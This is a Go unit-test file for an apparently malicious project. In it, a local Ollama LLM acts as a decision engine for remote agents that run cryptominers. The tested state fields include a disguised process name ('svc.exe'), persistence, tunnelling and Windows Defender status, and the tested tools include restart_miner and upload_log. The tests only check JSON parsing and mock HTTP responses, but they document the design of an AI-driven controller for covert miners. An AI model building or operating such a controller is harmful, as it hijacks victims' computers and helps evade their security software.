226 lines
5.9 KiB
Go
226 lines
5.9 KiB
Go
package ollama
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
)
|
|
|
|
func TestNewEngineDefaults(t *testing.T) {
|
|
e := NewEngine("", "")
|
|
if e.endpoint != "http://localhost:11434" {
|
|
t.Fatalf("endpoint default: %q", e.endpoint)
|
|
}
|
|
if e.model != "llama3.2" {
|
|
t.Fatalf("model default: %q", e.model)
|
|
}
|
|
if e.systemPrompt == "" {
|
|
t.Fatal("system prompt should be populated")
|
|
}
|
|
}
|
|
|
|
func TestNewEngineTrimsTrailingSlash(t *testing.T) {
|
|
e := NewEngine("http://127.0.0.1:11434/", "mistral")
|
|
if e.endpoint != "http://127.0.0.1:11434" {
|
|
t.Fatalf("endpoint trim: %q", e.endpoint)
|
|
}
|
|
if e.model != "mistral" {
|
|
t.Fatalf("model: %q", e.model)
|
|
}
|
|
}
|
|
|
|
func TestAgentStateJSONRoundTrip(t *testing.T) {
|
|
state := AgentState{
|
|
AgentID: "a1", WorkerName: "w", Hostname: "host",
|
|
UptimeSeconds: 100, IsRunning: true, CPUCores: 4,
|
|
CPUUsagePct: 50, MemoryGB: 8, MemoryUsagePct: 40,
|
|
Hashrate15m: 500, SharesTotal: 10, SharesGood: 9, SharesBad: 1,
|
|
ProcessName: "svc.exe", InstallPath: `C:\svc`, HasPersistence: true,
|
|
HasTunnel: false, DefenderState: "enabled", LastError: "none",
|
|
}
|
|
b, err := json.Marshal(state)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
var out AgentState
|
|
if err := json.Unmarshal(b, &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if out.AgentID != state.AgentID || out.LastError != state.LastError {
|
|
t.Fatalf("round trip mismatch: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestToolCallAndDecideResponseJSONRoundTrip(t *testing.T) {
|
|
resp := DecideResponse{
|
|
Reasoning: "restart needed",
|
|
ToolCalls: []ToolCall{
|
|
{Tool: "restart_miner", Args: map[string]string{"process_name": "svc"}, Reason: "down"},
|
|
},
|
|
}
|
|
b, err := json.Marshal(resp)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
var out DecideResponse
|
|
if err := json.Unmarshal(b, &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(out.ToolCalls) != 1 || out.ToolCalls[0].Tool != "restart_miner" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func TestReportJSONRoundTrip(t *testing.T) {
|
|
ts := time.Date(2026, 5, 30, 0, 0, 0, 0, time.UTC)
|
|
r := Report{AgentID: "a1", Tool: "sleep", Success: true, Output: "ok", Timestamp: ts}
|
|
b, err := json.Marshal(r)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
var out Report
|
|
if err := json.Unmarshal(b, &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !out.Timestamp.Equal(ts) || out.Tool != "sleep" {
|
|
t.Fatalf("unexpected: %+v", out)
|
|
}
|
|
}
|
|
|
|
func mockChatServer(t *testing.T, content string, status int) *httptest.Server {
|
|
t.Helper()
|
|
if status == 0 {
|
|
status = http.StatusOK
|
|
}
|
|
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
switch r.URL.Path {
|
|
case "/api/chat":
|
|
w.WriteHeader(status)
|
|
if status == http.StatusOK {
|
|
_ = json.NewEncoder(w).Encode(ollamaResponse{
|
|
Message: ollamaMessage{Role: "assistant", Content: content},
|
|
Done: true,
|
|
})
|
|
}
|
|
case "/api/tags":
|
|
w.WriteHeader(status)
|
|
default:
|
|
http.NotFound(w, r)
|
|
}
|
|
}))
|
|
}
|
|
|
|
func TestDecidePlainJSON(t *testing.T) {
|
|
content := `{"reasoning":"ok","tool_calls":[{"tool":"sleep","args":{"seconds":"5"},"reason":"idle"}]}`
|
|
srv := mockChatServer(t, content, 0)
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "test")
|
|
state := &AgentState{AgentID: "a1", IsRunning: true}
|
|
resp, err := e.Decide(state)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if resp.Reasoning != "ok" || len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
|
|
t.Fatalf("unexpected: %+v", resp)
|
|
}
|
|
}
|
|
|
|
func TestDecideMarkdownJSONBlock(t *testing.T) {
|
|
content := "Here is the plan:\n```json\n{\"reasoning\":\"markdown\",\"tool_calls\":[]}\n```\n"
|
|
srv := mockChatServer(t, content, 0)
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "test")
|
|
resp, err := e.Decide(&AgentState{AgentID: "a1"})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if resp.Reasoning != "markdown" {
|
|
t.Fatalf("expected markdown reasoning, got %q", resp.Reasoning)
|
|
}
|
|
}
|
|
|
|
func TestDecideExtractsEmbeddedJSON(t *testing.T) {
|
|
content := `Analysis complete. {"reasoning":"embedded","tool_calls":[]} End.`
|
|
srv := mockChatServer(t, content, 0)
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "test")
|
|
resp, err := e.Decide(&AgentState{AgentID: "a1"})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if resp.Reasoning != "embedded" {
|
|
t.Fatalf("expected embedded reasoning, got %q", resp.Reasoning)
|
|
}
|
|
}
|
|
|
|
func TestDecideOllamaHTTPError(t *testing.T) {
|
|
srv := mockChatServer(t, "", http.StatusInternalServerError)
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "test")
|
|
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
|
if err == nil || !strings.Contains(err.Error(), "status 500") {
|
|
t.Fatalf("expected status error, got %v", err)
|
|
}
|
|
}
|
|
|
|
func TestDecideOllamaAPIErrorField(t *testing.T) {
|
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
w.WriteHeader(http.StatusOK)
|
|
_, _ = w.Write([]byte(`{"error":"model not found","done":true}`))
|
|
}))
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "missing")
|
|
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
|
if err == nil || !strings.Contains(err.Error(), "model not found") {
|
|
t.Fatalf("expected ollama error, got %v", err)
|
|
}
|
|
}
|
|
|
|
func TestDecideInvalidLLMJSON(t *testing.T) {
|
|
srv := mockChatServer(t, "not json at all", 0)
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "test")
|
|
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
|
if err == nil || !strings.Contains(err.Error(), "parse LLM response") {
|
|
t.Fatalf("expected parse error, got %v", err)
|
|
}
|
|
}
|
|
|
|
func TestHealthCheckSuccess(t *testing.T) {
|
|
srv := mockChatServer(t, "", 0)
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "test")
|
|
if err := e.HealthCheck(); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
func TestHealthCheckFailure(t *testing.T) {
|
|
srv := mockChatServer(t, "", http.StatusServiceUnavailable)
|
|
defer srv.Close()
|
|
|
|
e := NewEngine(srv.URL, "test")
|
|
if err := e.HealthCheck(); err == nil {
|
|
t.Fatal("expected health check error")
|
|
}
|
|
}
|
|
|
|
func TestBuildSystemPromptContainsTools(t *testing.T) {
|
|
prompt := buildSystemPrompt()
|
|
for _, tool := range []string{"check_miner", "restart_miner", "upload_log", "85%"} {
|
|
if !strings.Contains(prompt, tool) {
|
|
t.Fatalf("prompt missing %q", tool)
|
|
}
|
|
}
|
|
}
|